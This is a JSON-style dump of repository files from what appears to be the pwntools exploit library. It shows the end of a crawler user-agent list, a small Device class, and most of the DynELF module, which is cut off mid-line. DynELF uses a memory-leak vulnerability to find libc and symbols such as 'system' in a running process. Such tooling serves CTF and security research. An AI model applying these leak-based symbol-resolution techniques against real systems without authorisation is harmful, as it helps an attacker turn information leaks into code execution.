http://sitecheck.internetseer.com)\nsmartwit.com\nsna-0.0.1 (mikemuzio@msn.com)\nsna-0.0.1 mikeelliott@hotmail.com\nsnap.com beta crawler v0\nsogou develop spider\nsogou spider\nsohu agent\nsohu-search\nspeedfind ramBot xtreme 8.1\nspider.batsch.com\nspider.yellopet.com - www.yellopet.com\nsportsuchmaschine.de-Robot (Version: 1.02- powered by www.sportsuchmaschine.de)\nsproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; crawler@sproose.com)\nsquidclam\nstat statcrawler@gmail.com\nsuchbaer.de\nsuchbaer.de (CrawlerAgent v0.103)\nsuchbot\nsuchpadbot/1.0 (+http://www.suchpad.de)\nsuzuran\nswbot/0.9c libwww/5.3.1\ntags2dir.com/0.8 (+http://tags2dir.com/directory/)\ntargetblaster.com/0.9k\nteoma_agent1\nteomaagent crawler-admin@teoma.com\nteomaagent1 [crawler-admin@teoma.com]\nterraminds-bot/1.0 (support@terraminds.de)\nthumbshots-de-Bot (Version: 1.02, powered by www.thumbshots.de)\nthumbshots-de-Bot (Version: 1.02- powered by www.thumbshots.de)\ntimboBot/0.9 http://www.breakingblogs.com/timbo_bot.html\ntivraSpider/1.0 (crawler@tivra.com)\ntoCrawl/UrlDispatcher\ntraazibot/testengine (+http://www.traazi.de)\ntricosMetaCheck 1.2216-08-1999 (http://www.tricos.com/metacheck)\ntruwoGPS/1.0 (GNU/Linux; U; i686; en-US; +http://www.lan4lano.net/browser.html )\nuTorrent/1500\nunknownght.com Web Server IIS vs Apache Survey. See Results at www.DNSRight.com\nupdated/0.1-alpha (updated crawler; http://www.updated.com; crawler@updated.com)\nupdated/0.1-beta (updated; http://www.updated.com; updated@updated.com)\nupdated/0.1beta (updated.com; http://www.updated.com; crawler@updated.om)\nurlfan-bot/1.0; +http://www.urlfan.com/site/bot/350.html\nuser-agent=Mozilla/3.01Gold\nuzbl (Webkit 1.1.10) (Linux 2.6.30-ARCH)\nuzbl (Webkit 1.1.9) (Linux 2.6.29-ARCH)\nuzbl (Webkit 1.1.9) (Linux 2.6.30-ARCH)\nvb wininet\nversus 0.2 (+http://versus.integis.ch)\nversus crawler eda.baykan@epfl.ch\nverzamelgids.nl - Networking4all Bot/x.x\nvirus_detector (virus_harvester@securecomputing.com)\nvoyager-hc/1.0\nvoyager/1.0\nvoyager/2.0 (http://www.kosmix.com/crawler.html)\nvoyager/2.0 (http://www.kosmix.com/html/crawler.html)\nvspider\nvspider/3.x\nw3m/0.1.9\nw3m/0.2.1\nw3m/0.5.1\nw3m/0.5.1+cvs-1.968\nw3m/0.5.2\nw3m/0.5.2 (Debian-3.0.6-3)\nw3m/0.5.2 (Linux i686; en; Debian-3.0.6-3)\nw3m/0.5.2 (Linux i686; it; Debian-3.0.6-3)\nw3m/0.52\nw3m/0.x.xx\nwadaino.jp-crawler 0.2 (http://wadaino.jp/)\nweb-bekannt (Version: 1.02, powered by www.internetservice-franken.de)\nweb-bekannt (Version: 1.02, powered by www.web-bekannt.de)\nweb2express.org/Nutch-0.9-dev (leveled playing field; http://web2express.org/; info at web2express.org)\nwebGobbler/1.x.x\nwebbandit/4.xx.0\nwebcollage/1.114\nwebcollage/1.117\nwebcollage/1.125\nwebcollage/1.129\nwebcollage/1.93\nwebcollage/1.xx\nwebcrawl.net\nwebfetch/5.x.x\nwebhack\nwebmeasurement-bot, http://rvs.informatik.uni-leipzig.de\nwebster-internet.de pad browser\nwget\nwhatUseek_winona/3.0\nwii libnup/1.0\nwish-project (http://wish.slis.tsukuba.ac.jp/)\nworio heritrix bot (+http://worio.com/)\nworiobot ( http://www.worio.com/)\nwume_crawler/1.1 (http://wume.cse.lehigh.edu/~xiq204/crawler/)\nwww.arianna.it\nwww.business-socket.com registry verify/1.x\nwww.doweb.co.uk crawler\nwww4mail/2.x libwww-FM/2.14 (Unix; I)\nwwwster/1.x (Beta- mailto:gue@cis.uni-muenchen.de)\nwxDownload Fast\nxine/1.0\nxirq/0.1-beta (xirq; http://www.xirq.com; xirq@xirq.com)\nxyro_(xcrawler@cosmos.inria.fr)\nyacy (i386 Linux 2.4.20-021stab028.17.777-enterprise; java 1.4.2_08; Europe/en) yacy.net\nyacy (i386 Linux 2.6.14-1.1653_FC4smp; java 1.5.0_04; Europe/de) yacy.net\nyacy (www.yacy.net; v20040602; i386 Linux 2.4.26-gentoo-r13; java 1.4.2_06; MET/en)\nyacybot (amd64 Linux 2.6.16-2-amd64-k8-smp; java 1.5.0_10; Europe/en) http://yacy.net/yacy/bot.html\nyacybot (amd64 Linux 2.6.28-18-generic; java 1.6.0_0; Europe/en) http://yacy.net/bot.html\nyacybot (amd64 Windows 7 6.1; java 1.6.0_17; Europe/de) http://yacy.net/bot.html\nyacybot (i386 Linux 2.6.22-14-generic; java 1.6.0_03; Europe/de) http://yacy.net/bot.html\nyacybot (i386 Linux 2.6.23; java 1.6.0_04; Europe/en) http://yacy.net/bot.html\nyacybot (i386 Linux 2.6.23; java 1.6.0_17; Europe/en) http://yacy.net/bot.html\nyacybot (i386 Linux 2.6.24-23-generic; java 1.6.0_16; Europe/en) http://yacy.net/bot.html\nyacybot (i386 Linux 2.6.24-24-generic; java 1.6.0_07; Europe/en) http://yacy.net/bot.html\nyacybot (i386 Linux 2.6.24-28-generic; java 1.6.0_20; Europe/en) http://yacy.net/bot.html\nyacybot (i386 Linux 2.6.26-2-686; java 1.6.0_0; Europe/en) http://yacy.net/bot.html\nyacybot (i386 Linux 2.6.31-16-generic; java 1.6.0_15; Europe/en) http://yacy.net/bot.html\nyacybot (i386 Linux 2.6.8-022stab070.5-enterprise; java 1.4.2-03; Europe/en) yacy.net\nyacybot (i386 Linux 2.6.9-023stab046.2-smp; java 1.6.0_05; Europe/en) http://yacy.net/bot.html\nyacybot (i386 Mac OS X 10.5.7; java 1.5.0_16; Europe/de) http://yacy.net/bot.html\nyacybot (ppc Mac OS X 10.4.10; java 1.5.0_07; Europe/de) http://yacy.net/bot.html\nyacybot (ppc Mac OS X 10.5.2; java 1.5.0_13; Europe/de) http://yacy.net/bot.html\nyacybot (x86 Windows 2000 5.0; java 1.6.0_16; Europe/de) http://yacy.net/bot.html\nyacybot (x86 Windows XP 5.1; java 1.5.0_06; Europe/de) yacy.net\nyacybot (x86 Windows XP 5.1; java 1.6.0; Europe/de) http://yacy.net/yacy/bot.html\nyacybot (x86 Windows XP 5.1; java 1.6.0_11; Europe/de) http://yacy.net/bot.html\nyacybot (x86 Windows XP 5.1; java 1.6.0_12; Europe/de) http://yacy.net/bot.html\nyarienavoir.net/0.2\nyggdrasil/Nutch-0.9 (yggdrasil biorelated search engine; www dot biotec dot tu minus dresden do de slash schroeder; heiko dot dietze at biotec dot tu minus dresden dot de)\nyoofind/yoofind-0.1-dev (yoono webcrawler; http://www.yoono.com ; MyEmail)\nyoogliFetchAgent/0.1\nyoono/1.0 web-crawler/1.0\nzedzo.digest/0.1 (http://www.zedzo.com/)\nzermelo Mozilla/5.0 compatible; heritrix/1.12.1 (+http://www.powerset.com) [email:crawl@powerset.com,email:paul@page-store.com]\nzerxbot/Version 0.6 libwww-perl/5.79\nzspider/0.9-dev http://feedback.redkolibri.com/\n"
  },
  {
    "path": "pwnlib/device.py",
    "content": "class Device(object):\n    arch = None\n    bits = None\n    endian = None\n    serial = None\n    os = None\n\n    def __init__(self, serial=None):\n        self.serial = serial\n\n    def __str__(self):\n        return self.serial\n\n    def __eq__(self, other):\n        return self.serial == other or self.serial == str(other)\n"
  },
  {
    "path": "pwnlib/dynelf.py",
    "content": "\"\"\"\nResolve symbols in loaded, dynamically-linked ELF binaries.\nGiven a function which can leak data at an arbitrary address,\nany symbol in any loaded library can be resolved.\n\nExample\n^^^^^^^^\n\n::\n\n    # Assume a process or remote connection\n    p = process('./pwnme')\n\n    # Declare a function that takes a single address, and\n    # leaks at least one byte at that address.\n    def leak(address):\n        data = p.read(address, 4)\n        log.debug(\"%#x => %s\", address, enhex(data or ''))\n        return data\n\n    # For the sake of this example, let's say that we\n    # have any of these pointers.  One is a pointer into\n    # the target binary, the other two are pointers into libc\n    main   = 0xfeedf4ce\n    libc   = 0xdeadb000\n    system = 0xdeadbeef\n\n    # With our leaker, and a pointer into our target binary,\n    # we can resolve the address of anything.\n    #\n    # We do not actually need to have a copy of the target\n    # binary for this to work.\n    d = DynELF(leak, main)\n    assert d.lookup(None,     'libc') == libc\n    assert d.lookup('system', 'libc') == system\n\n    # However, if we *do* have a copy of the target binary,\n    # we can speed up some of the steps.\n    d = DynELF(leak, main, elf=ELF('./pwnme'))\n    assert d.lookup(None,     'libc') == libc\n    assert d.lookup('system', 'libc') == system\n\n    # Alternately, we can resolve symbols inside another library,\n    # given a pointer into it.\n    d = DynELF(leak, libc + 0x1234)\n    assert d.lookup('system')      == system\n\nDynELF\n\"\"\"\nimport ctypes\n\nfrom elftools.elf.enums import ENUM_D_TAG\n\nfrom pwnlib import elf\nfrom pwnlib import libcdb\nfrom pwnlib.context import context\nfrom pwnlib.elf import ELF\nfrom pwnlib.elf import constants\nfrom pwnlib.log import getLogger\nfrom pwnlib.memleak import MemLeak\nfrom pwnlib.util.fiddling import enhex\nfrom pwnlib.util.packing import _need_bytes\n\nlog    = getLogger(__name__)\nsizeof = ctypes.sizeof\n\ndef sysv_hash(symbol):\n    \"\"\"sysv_hash(str) -> int\n\n    Function used to generate SYSV-style hashes for strings.\n    \"\"\"\n    h = 0\n    g = 0\n    for c in bytearray(_need_bytes(symbol, 4, 0x80)):\n        h = (h << 4) + c\n        g = h & 0xf0000000\n        h ^= (g >> 24)\n        h &= ~g\n    return h & 0xffffffff\n\ndef gnu_hash(s):\n    \"\"\"gnu_hash(str) -> int\n\n    Function used to generated GNU-style hashes for strings.\n    \"\"\"\n    s = bytearray(_need_bytes(s, 4, 0x80))\n    h = 5381\n    for c in s:\n        h = h * 33 + c\n    return h & 0xffffffff\n\nclass DynELF(object):\n    '''\n    DynELF knows how to resolve symbols in remote processes via an infoleak or\n    memleak vulnerability encapsulated by :class:`pwnlib.memleak.MemLeak`.\n\n    Implementation Details:\n\n        Resolving Functions:\n\n            In all ELFs which export symbols for importing by other libraries,\n            (e.g. ``libc.so``) there are a series of tables which give exported\n            symbol names, exported symbol addresses, and the ``hash`` of those\n            exported symbols.  By applying a hash function to the name of the\n            desired symbol (e.g., ``'printf'``), it can be located in the hash\n            table.  Its location in the hash table provides an index into the\n            string name table (strtab_), and the symbol address (symtab_).\n\n            Assuming we have the base address of ``libc.so``, the way to resolve\n            the address of ``printf`` is to locate the ``symtab``, ``strtab``,\n            and hash table. The string ``\"printf\"`` is hashed according to the\n            style of the hash table (SYSV_ or GNU_), and the hash table is\n            walked until a matching entry is located. We can verify an exact\n            match by checking the string table, and then get the offset into\n            ``libc.so`` from the ``symtab``.\n\n        Resolving Library Addresses:\n\n            If we have a pointer into a dynamically-linked executable, we can\n            leverage an internal linker structure called the `link map`_. This\n            is a linked list structure which contains information about each\n            loaded library, including its full path and base address.\n\n            A pointer to the ``link map`` can be found in two ways.  Both are\n            referenced from entries in the DYNAMIC_ array.\n\n            - In non-RELRO binaries, a pointer is placed in the `.got.plt`_ area\n              in the binary. This is marked by finding the DT_PLTGOT_ area in the\n              binary.\n            - In all binaries, a pointer can be found in the area described by\n              the DT_DEBUG_ area.  This exists even in stripped binaries.\n\n            For maximum flexibility, both mechanisms are used exhaustively.\n\n    .. _symtab:    https://refspecs.linuxbase.org/elf/gabi4+/ch4.symtab.html\n    .. _strtab:    https://refspecs.linuxbase.org/elf/gabi4+/ch4.strtab.html\n    .. _.got.plt:  https://refspecs.linuxbase.org/LSB_3.1.1/LSB-Core-generic/LSB-Core-generic/specialsections.html\n    .. _DYNAMIC:   http://www.sco.com/developers/gabi/latest/ch5.dynamic.html#dynamic_section\n    .. _SYSV:      https://refspecs.linuxbase.org/elf/gabi4+/ch5.dynamic.html#hash\n    .. _GNU:       https://blogs.oracle.com/solaris/post/gnu-hash-elf-sections\n    .. _DT_DEBUG:  https://reverseengineering.stackexchange.com/questions/6525/elf-link-map-when-linked-as-relro\n    .. _link map:  https://sourceware.org/git/?p=glibc.git;a=blob;f=elf/link.h;h=eaca8028e45a859ac280301a6e955a14eed1b887;hb=HEAD#l84\n    .. _DT_PLTGOT: https://refspecs.linuxfoundation.org/ELF/zSeries/lzsabi0_zSeries/x2251.html\n    '''\n\n    def __init__(self, leak, pointer=None, elf=None, libcdb=True):\n        '''\n        Instantiates an object which can resolve symbols in a running binary\n        given a :class:`pwnlib.memleak.MemLeak` leaker and a pointer inside\n        the binary.\n\n        Arguments:\n            leak(MemLeak): Instance of pwnlib.memleak.MemLeak for leaking memory\n            pointer(int):  A pointer into a loaded ELF file\n            elf(str,ELF):  Path to the ELF file on disk, or a loaded :class:`pwnlib.elf.ELF`.\n            libcdb(bool):  Attempt to use libcdb to speed up libc lookups\n        '''\n        self.libcdb    = libcdb\n        self._elfclass = None\n        self._elftype  = None\n        self._link_map = None\n        self._waitfor  = None\n        self._bases    = {}\n        self._dynamic  = None\n        self.elf = None\n\n        if elf:\n            path = elf\n            if isinstance(elf, ELF):\n                path = elf.path\n\n            # Load a fresh copy of the ELF\n            with context.local(log_level='error'):\n                w = self.waitfor(\"Loading from %r\" % path)\n                self.elf = ELF(path)\n                w.success(\"[LOADED]\")\n\n        if not (pointer or (elf and elf.address)):\n            log.error(\"Must specify either a pointer into a module and/or an ELF file with a valid base address\")\n\n        pointer = pointer or elf.address\n\n        if not isinstance(leak, MemLeak):\n            leak = MemLeak(leak)\n\n        if not elf:\n            log.warn_once(\"No ELF provided.  Leaking is much faster if you have a copy of the ELF being leaked.\")\n\n        self.leak    = leak\n        self.libbase = self._find_base(pointer or elf.address)\n\n        if elf:\n            self._elftype = self.elf.elftype\n            self._elfclass = self.elf.elfclass\n            self.elf.address = self.libbase\n            self._dynamic = self.elf.get_section_by_name('.dynamic').header.sh_addr\n            self._dynamic = self._make_absolute_ptr(self._dynamic) \n\n    @classmethod\n    def for_one_lib_only(cls, leak, ptr):\n        return cls(leak, ptr)\n\n    @classmethod\n    def from_lib_ptr(cls, leak, ptr):\n        return cls(leak, ptr)\n\n    @staticmethod\n    def find_base(leak, ptr):\n        \"\"\"Given a :class:`pwnlib.memleak.MemLeak` object and a pointer into a\n        library, find its base address.\n        \"\"\"\n        return DynELF(leak, ptr).libbase\n\n    @property\n    def elfclass(self):\n        \"\"\"32 or 64\"\"\"\n        if not self._elfclass:\n            elfclass = self.leak.field(self.libbase, elf.Elf_eident.EI_CLASS)\n            self._elfclass =  {constants.ELFCLASS32: 32,\n                              constants.ELFCLASS64: 64}[elfclass]\n        return self._elfclass\n\n    @property\n    def elftype(self):\n        \"\"\"e_type from the elf header. In practice the value will almost always\n        be 'EXEC' or 'DYN'. If the value is architecture-specific (between\n        ET_LOPROC and ET_HIPROC) or invalid, KeyError is raised.\n        \"\"\"\n        if not self._elftype:\n            Ehdr  = {32: elf.Elf32_Ehdr, 64: elf.Elf64_Ehdr}[self.elfclass]\n            elftype = self.leak.field(self.libbase, Ehdr.e_type)\n            self._elftype = {constants.ET_NONE: 'NONE',\n                             constants.ET_REL: 'REL',\n                             constants.ET_EXEC: 'EXEC',\n                             constants.ET_DYN: 'DYN',\n                             constants.ET_CORE: 'CORE'}[elftype]\n        return self._elftype\n\n    @property\n    def link_map(self):\n        \"\"\"Pointer to the runtime link_map object\"\"\"\n        if not self._link_map:\n            self._link_map = self._find_linkmap()\n        return self._link_map\n\n    @property\n    def dynamic(self):\n        \"\"\"\n        Returns:\n            Pointer to the ``.DYNAMIC`` area.\n        \"\"\"\n        if not self._dynamic:\n            self._dynamic = self._find_dynamic_phdr()\n        return self._dynamic\n\n    def _find_base(self, ptr):\n        page_size = 0x1000\n        page_mask = ~(page_size - 1)\n\n        ptr &= page_mask\n        w = None\n\n        while True:\n            if self.leak.compare(ptr, b'\\x7fELF'):\n                break\n\n            # See if we can short circuit the search\n            fast = self._find_base_optimized(ptr)\n            if fast:\n                ptr = fast\n                continue\n\n            ptr -= page_size\n\n            if ptr < 0:\n                raise ValueError(\"Address is negative, something is wrong!\")\n\n            # Defer creating the spinner in the event that 'ptr'\n            # is already the base address\n            w = w or self.waitfor(\"Finding base address\")\n            self.status('%#x' % ptr)\n\n        # If we created a spinner, print the success message\n        if w:\n            self.success('%#x' % ptr)\n\n        return ptr\n\n    def _find_base_optimized(self, ptr):\n        if not self.elf:\n            return None\n\n        # If we have an ELF< we can probably speed this up a little bit?\n        # Note that we add +0x20 onto the offset in order to avoid needing\n        # to leak any bytes which contain '\\r\\n\\t\\b '\n        ptr += 0x20\n        data = self.leak.n(ptr, 32)\n        if not data:\n            return None\n\n        # Do not permit multiple matches\n        matches = list(self.elf.search(data))\n        if len(matches) != 1:\n            return None\n\n        candidate = matches[0]\n        candidate -= self.elf.address\n\n        # The match should have the same page-alignment as our leaked data.\n        if candidate & 0xfff != 0x20:\n            return None\n\n        # Adjust based on the original pointer we got, and the ELF's address.\n        ptr -= candidate\n        return ptr\n\n    def _find_dynamic_phdr(self):\n        \"\"\"\n        Returns the address of the first Program Header with the type\n        PT_DYNAMIC.\n        \"\"\"\n        leak  = self.leak\n        base  = self.libbase\n\n        #First find PT_DYNAMIC\n        Ehdr  = {32: elf.Elf32_Ehdr, 64: elf.Elf64_Ehdr}[self.elfclass]\n        Phdr  = {32: elf.Elf32_Phdr, 64: elf.Elf64_Phdr}[self.elfclass]\n\n        self.status(\"PT_DYNAMIC\")\n\n        phead = base + leak.field(base, Ehdr.e_phoff)\n        self.status(\"PT_DYNAMIC header = %#x\" % phead)\n\n        phnum = leak.field(base, Ehdr.e_phnum)\n        self.status(\"PT_DYNAMIC count = %#x\" % phnum)\n\n        for i in range(phnum):\n            if leak.field_compare(phead, Phdr.p_type, constants.PT_DYNAMIC):\n                break\n            phead += sizeof(Phdr)\n        else:\n            self.failure(\"Could not find Program Header of type PT_DYNAMIC\")\n            return None\n\n        dynamic = leak.field(phead, Phdr.p_vaddr)\n        self.status(\"PT_DYNAMIC @ %#x\" % dynamic)\n\n        dynamic = self._make_absolute_ptr(dynamic)\n\n        return dynamic\n\n    def _find_dt_optimized(self, name):\n        \"\"\"\n        Find an entry in the DYNAMIC array through an ELF\n\n        Arguments:\n            name(str): Name of the tag to find ('DT_DEBUG', 'DT_PLTGOT', ...)\n\n        Returns:\n            Pointer to the data described by the specified entry.\n        \"\"\"\n        if not self.elf:\n            return None\n\n        ptr = self.elf.dynamic_value_by_tag(name)\n        if ptr:\n            ptr = self._make_absolute_ptr(ptr)\n            self.success(\"Found %s at %#x\" % (name, ptr))\n            return ptr\n        return None\n\n\n    def _find_dt(self, tag):\n        \"\"\"\n        Find an entry in the DYNAMIC array.\n\n        Arguments:\n            tag(int): Single tag to find\n\n        Returns:\n            Pointer to the data described by the specified entry.\n        \"\"\"\n        base    = self.libbase\n        dynamic = self.dynamic\n        leak    = self.leak\n        name    = next(k for k,v in ENUM_D_TAG.items() if v == tag)\n\n        # Read directly from the ELF if possible\n        ptr = self._find_dt_optimized(name)\n        if ptr:\n            return ptr\n\n        Dyn = {32: elf.Elf32_Dyn,    64: elf.Elf64_Dyn}     [self.elfclass]\n\n        # Found the _DYNAMIC program header, now find PLTGOT entry in it\n        # An entry with a DT_NULL tag marks the end of the DYNAMIC array.\n        while not leak.field_compare(dynamic, Dyn.d_tag, constants.DT_NULL):\n            if leak.field_compare(dynamic, Dyn.d_tag, tag):\n                break\n            dynamic += sizeof(Dyn)\n        else:\n            self.failure(\"Could not find tag %s\" % name)\n            return None\n\n        ptr = leak.field(dynamic, Dyn.d_ptr)\n\n        ptr = self._make_absolute_ptr(ptr)\n        self.status(\"Found %s at %#x\" % (name, ptr))\n\n        return ptr\n\n\n    def _find_linkmap(self, pltgot=None, debug=None):\n        \"\"\"\n        The linkmap is a chained structure created by the loader at runtime\n        which contains information on the names and load addresses of all\n        libraries.\n\n        For non-RELRO binaries, a pointer to this is stored in the .got.plt\n        area.\n\n        For RELRO binaries, a pointer is additionally stored in the DT_DEBUG\n        area.\n        \"\"\"\n        w = self.waitfor(\"Finding linkmap\")\n\n        Got     = {32: elf.Elf_i386_GOT, 64: elf.Elf_x86_64_GOT}[self.elfclass]\n        r_debug = {32: elf.Elf32_r_debug, 64: elf.Elf64_r_debug}[self.elfclass]\n\n        linkmap = None\n\n        if not pltgot:\n            w.status(\"Finding linkmap: DT_PLTGOT\")\n            pltgot = self._find_dt(constants.DT_PLTGOT)\n\n        if pltgot:\n            w.status(\"GOT.linkmap\")\n            linkmap = self.leak.field(pltgot, Got.linkmap)\n            w.status(\"GOT.linkmap %#x\" % linkmap)\n\n        if not linkmap:\n            debug = debug or self._find_dt(constants.DT_DEBUG)\n            if debug:\n                w.status(\"r_debug.linkmap\")\n                linkmap = self.leak.field(debug, r_debug.r_map)\n                w.status(\"r_debug.linkmap %#x\" % linkmap)\n\n        if not linkmap:\n            w.failure(\"Could not find DT_PLTGOT or DT_DEBUG\")\n            return None\n\n        linkmap = self._make_absolute_ptr(linkmap)\n\n        w.success('%#x' % linkmap)\n        return linkmap\n\n    def waitfor(self, msg):\n        if not self._waitfor:\n            self._waitfor = log.waitfor(msg)\n        else:\n            self.status(msg)\n        return self._waitfor\n\n    def failure(self, msg):\n        if not self._waitfor:\n            log.failure(msg)\n        else:\n            self._waitfor.failure(msg)\n            self._waitfor = None\n\n    def success(self, msg):\n        if not self._waitfor:\n            log.success(msg)\n        else:\n            self._waitfor.success(msg)\n            self._waitfor = None\n\n    def status(self, msg):\n        if not self._waitfor:\n            log.info(msg)\n        else:\n            self._waitfor.status(msg)\n\n    @property\n    def libc(self):\n        \"\"\"libc(self) -> ELF\n\n        Leak the Build ID of the remote libc.so, download the file,\n        and load an ``ELF`` object with the correct base address.\n\n        Returns:\n            An ELF object, or None.\n        \"\"\"\n        libc = b'libc.so'\n\n        with self.waitfor('Downloading libc'):\n            dynlib = self._dynamic_load_dynelf(libc)\n\n            self.status(\"Trying lookup based on Build ID\")\n            build_id = dynlib._lookup_build_id(libc)\n\n            if not build_id:\n                return None\n\n            self.status(\"Trying lookup based on Build ID: %s\" % build_id)\n            path = libcdb.search_by_build_id(build_id)\n\n            if not path:\n                return None\n\n            libc = ELF(path)\n            libc.address = dynlib.libbase\n            return libc\n\n    def lookup (self, symb = None, lib = None):\n        \"\"\"lookup(symb = None, lib = None) -> int\n\n        Find the address of ``symbol``, which is found in ``lib``.\n\n        Arguments:\n            symb(str): Named routine to look up\n              If omitted, the base address of the library will be returned.\n            lib(str): Substring to match for the library name.\n              If omitted, the current library is searched.\n              If set to ``'libc'``, ``'libc.so'`` is assumed.\n\n        Returns:\n            Address of the named symbol, or :const:`None`.\n        \"\"\"\n        result = None\n\n        if lib == 'libc':\n            lib = 'libc.so'\n\n        if symb:\n            symb = _need_bytes(symb, min_wrong=0x80)\n\n        #\n        # Get a pretty name for the symbol to show the user\n        #\n        if symb and lib:\n            pretty = '%r in %r' % (symb, lib)\n        else:\n            pretty = repr(symb or lib)\n\n        if not pretty:\n            self.failure(\"Must specify a library or symbol\")\n\n        self.waitfor('Resolving %s' % pretty)\n\n        #\n        # If we are loading from a different library, create\n        # a DynELF instance for it.\n        #\n        if lib is not None: dynlib = self._dynamic_load_dynelf(lib)\n        else:   dynlib = self\n\n        if dynlib is None:\n            log.failure(\"Could not find %r\", lib)\n            return None\n\n        #\n        # If we are resolving a symbol in the library, find it.\n        #\n        if symb and self.libcdb:\n            # Try a quick lookup by build ID\n            self.status(\"Trying lookup based on Build ID\")\n            build_id = dynlib._lookup_build_id(lib=lib)\n            if build_id:\n                log.info(\"Trying lookup based on Build ID: %s\", build_id)\n                path = libcdb.search_by_build_id(build_id)\n                if path:\n                    with context.local(log_level='error'):\n                        e = ELF(path)\n                        e.address = dynlib.libbase\n                        result = e.symbols[symb]\n        if symb and not result:\n            self.status(\"Trying remote lookup\")\n            result = dynlib._lookup(symb)\n        if not symb:\n            result = dynlib.libbase\n\n        #\n        # Did we win?\n        #\n        if result: self.success(\"%#x\" % result)\n        else:      self.failure(\"Could not find %s\" % pretty)\n\n        return result\n\n    def bases(self):\n        '''Resolve base addresses of all loaded libraries.\n\n        Return a dictionary mapping library path to its base address.\n        '''\n        if not self._bases:\n            if self.link_map is None:\n                self.failure(\"Cannot determine bases without linkmap\")\n                return {}\n                \n            leak    = self.leak\n            LinkMap = {32: elf.Elf32_Link_Map, 64: elf.Elf64_Link_Map}[self.elfclass]\n\n            cur = self.link_map\n\n            # make sure we rewind to the beginning!\n            while leak.field(cur, LinkMap.l_prev):\n                cur = leak.field(cur, LinkMap.l_prev)\n\n            while cur:\n                p_name = leak.field(cur, LinkMap.l_name)\n                name   = leak.s(p_name)\n                addr   = leak.field(cur, LinkMap.l_addr)\n                cur    = leak.field(cur, LinkMap.l_next)\n\n                log.debug('Found %r @ %#x', name, addr)\n\n                self._bases[name] = addr\n\n        return self._bases\n\n    def _dynamic_load_dynelf(self, libname):\n        \"\"\"_dynamic_load_dynelf(libname) -> DynELF\n\n        Looks up information about a loaded library via the link map.\n\n        Arguments:\n            libname(str):  Name of the library to resolve, or a substring (e.g. 'libc.so')\n\n        Returns:\n            A DynELF instance for the loaded library, or None.\n        \"\"\"\n        cur     = self.link_map\n        leak    = self.leak\n        LinkMap = {32: elf.Elf32_Link_Map, 64: elf.Elf64_Link_Map}[self.elfclass]\n\n        # make sure we rewind to the beginning!\n        while leak.field(cur, LinkMap.l_prev):\n            cur = leak.field(cur, LinkMap.l_prev)\n\n        libname = _need_bytes(libname, 2, 0x80)\n\n        while cur:\n            self.status(\"link_map entry %#x\" % cur)\n            p_name = leak.field(cur, LinkMap.l_name)\n            name   = leak.s(p_name)\n\n            if libname in name:\n                break\n\n            if name:\n                self.status('Skipping %r' % name)\n\n            cur = leak.field(cur, LinkMap.l_next)\n        else:\n            self.failure(\"Could not find library with name containing %r\" % libname)\n            return None\n\n        libbase = leak.field(cur, LinkMap.l_addr)\n\n        self.status(\"Resolved library %r at %#x\" % (libname, libbase))\n\n        lib = DynELF(leak, libbase)\n        lib._dynamic = leak.field(cur, LinkMap.l_ld)\n        lib._waitfor = self._waitfor\n        return lib\n\n    def _rel_lookup(self, symb, strtab=None, symtab=None, jmprel=None):\n        \"\"\"Performs slower symbol lookup using DT_JMPREL(.rela.plt)\"\"\"\n        leak = self.leak\n        elf_obj = self.elf\n        symb_name = symb.decode()\n\n        # If elf is available look for the symbol in it\n        if elf_obj and symb_name in elf_obj.symbols:\n            self.success(\"Symbol '%s' found in ELF!\" % symb_name)\n            return elf_obj.symbols[symb_name]\n\n        log.warning(\"Looking up symbol through DT_JMPREL. This might be slower...\")\n\n\n        strtab  = strtab or self._find_dt(constants.DT_STRTAB)\n        symtab  = symtab or self._find_dt(constants.DT_SYMTAB)\n        jmprel  = jmprel or self._find_dt(constants.DT_JMPREL) # .rela.plt\n\n        strtab = self._make_absolute_ptr(strtab)\n        symtab = self._make_absolute_ptr(symtab)\n        jmprel = self._make_absolute_ptr(jmprel)\n\n        w = self.waitfor(\"Looking for %s in .rel.plt\" % symb)\n        # We look for the symbol by iterating through each Elf64_Rel entry.\n        # For each Elf64_Rel, get the Elf64_Sym for that entry\n        # Then compare the Elf64_Sym.st_name with the symbol name\n       \n        Rel = {32: elf.Elf32_Rel, 64: elf.Elf64_Rel}[self.elfclass]\n        Sym = {32: elf.Elf32_Sym, 64: elf.Elf64_Sym}[self.elfclass]\n\n        rel_addr = jmprel\n        rel_entry = None\n        while True:\n            rel_entry = leak.struct(rel_addr, Rel)\n\n            # We ran out of entries in DT_JMPREL \n            if rel_entry.r_offset == 0:\n                return None\n\n            sym_idx = rel_entry.r_info >> 32 # might be different for 32-bit\n            sym_entry_address = symtab + ( sym_idx * sizeof(Sym) )\n            sym_str_off = leak.field(sym_entry_address, Sym.st_name)\n            symb_str = leak.s(strtab+sym_str_off)\n\n            if symb_str == symb:\n                w.success(\"Found matching Elf64_Rel entry!\")\n                break\n\n            rel_addr += sizeof(Rel)\n\n        symbol_address = self._make_absolute_ptr(rel_entry.r_offset)\n\n        return symbol_address\n\n\n\n    def _lookup(self, symb):\n        \"\"\"Performs the actual symbol lookup within one ELF file.\"\"\"\n        leak = self.leak\n        Dyn  = {32: elf.Elf32_Dyn, 64: elf.Elf64_Dyn}[self.elfclass]\n        name = lambda tag: next(k for k,v in ENUM_D_TAG.items() if v == tag)\n\n        self.status('.gnu.hash/.hash, .strtab and .symtab offsets')\n\n        #\n        # We need all three of the hash, string table, and symbol table.\n        #\n        hshtab  = self._find_dt(constants.DT_GNU_HASH)\n        strtab  = self._find_dt(constants.DT_STRTAB)\n        symtab  = self._find_dt(constants.DT_SYMTAB)\n\n        # Assume GNU hash will hit, since it is the default for GCC.\n        if hshtab:\n            hshtype = 'gnu'\n        else:\n            hshtab  = self._find_dt(constants.DT_HASH)\n            hshtype = 'sysv'\n\n        if not all([strtab, symtab, hshtab]):\n            self.failure(\"Could not find all tables\")\n\n        strtab = self._make_absolute_ptr(strtab)\n        symtab = self._make_absolute_ptr(symtab)\n        hshtab = self._make_absolute_ptr(hshtab)\n\n        #\n        # Perform the hash lookup\n        #\n\n        # Save off our real leaker in case we use the fake leaker\n        real_leak = self.leak\n        if self.elf:\n\n            # Create a fake leaker which just leaks out of the 'loaded' ELF\n            # However, we may load things which are outside of the ELF (e.g.\n            # the linkmap or GOT) so we need to fall back on the real leak.\n            @MemLeak\n            def fake_leak(address):\n                try:\n                    return self.elf.read(address, 4)\n                except ValueError:\n                    return real_leak.b(address)\n            # Use fake leaker since ELF is available\n            self.leak = fake_leak\n\n        routine = {'sysv': self._resolve_symbol_sysv,\n                   'gnu':  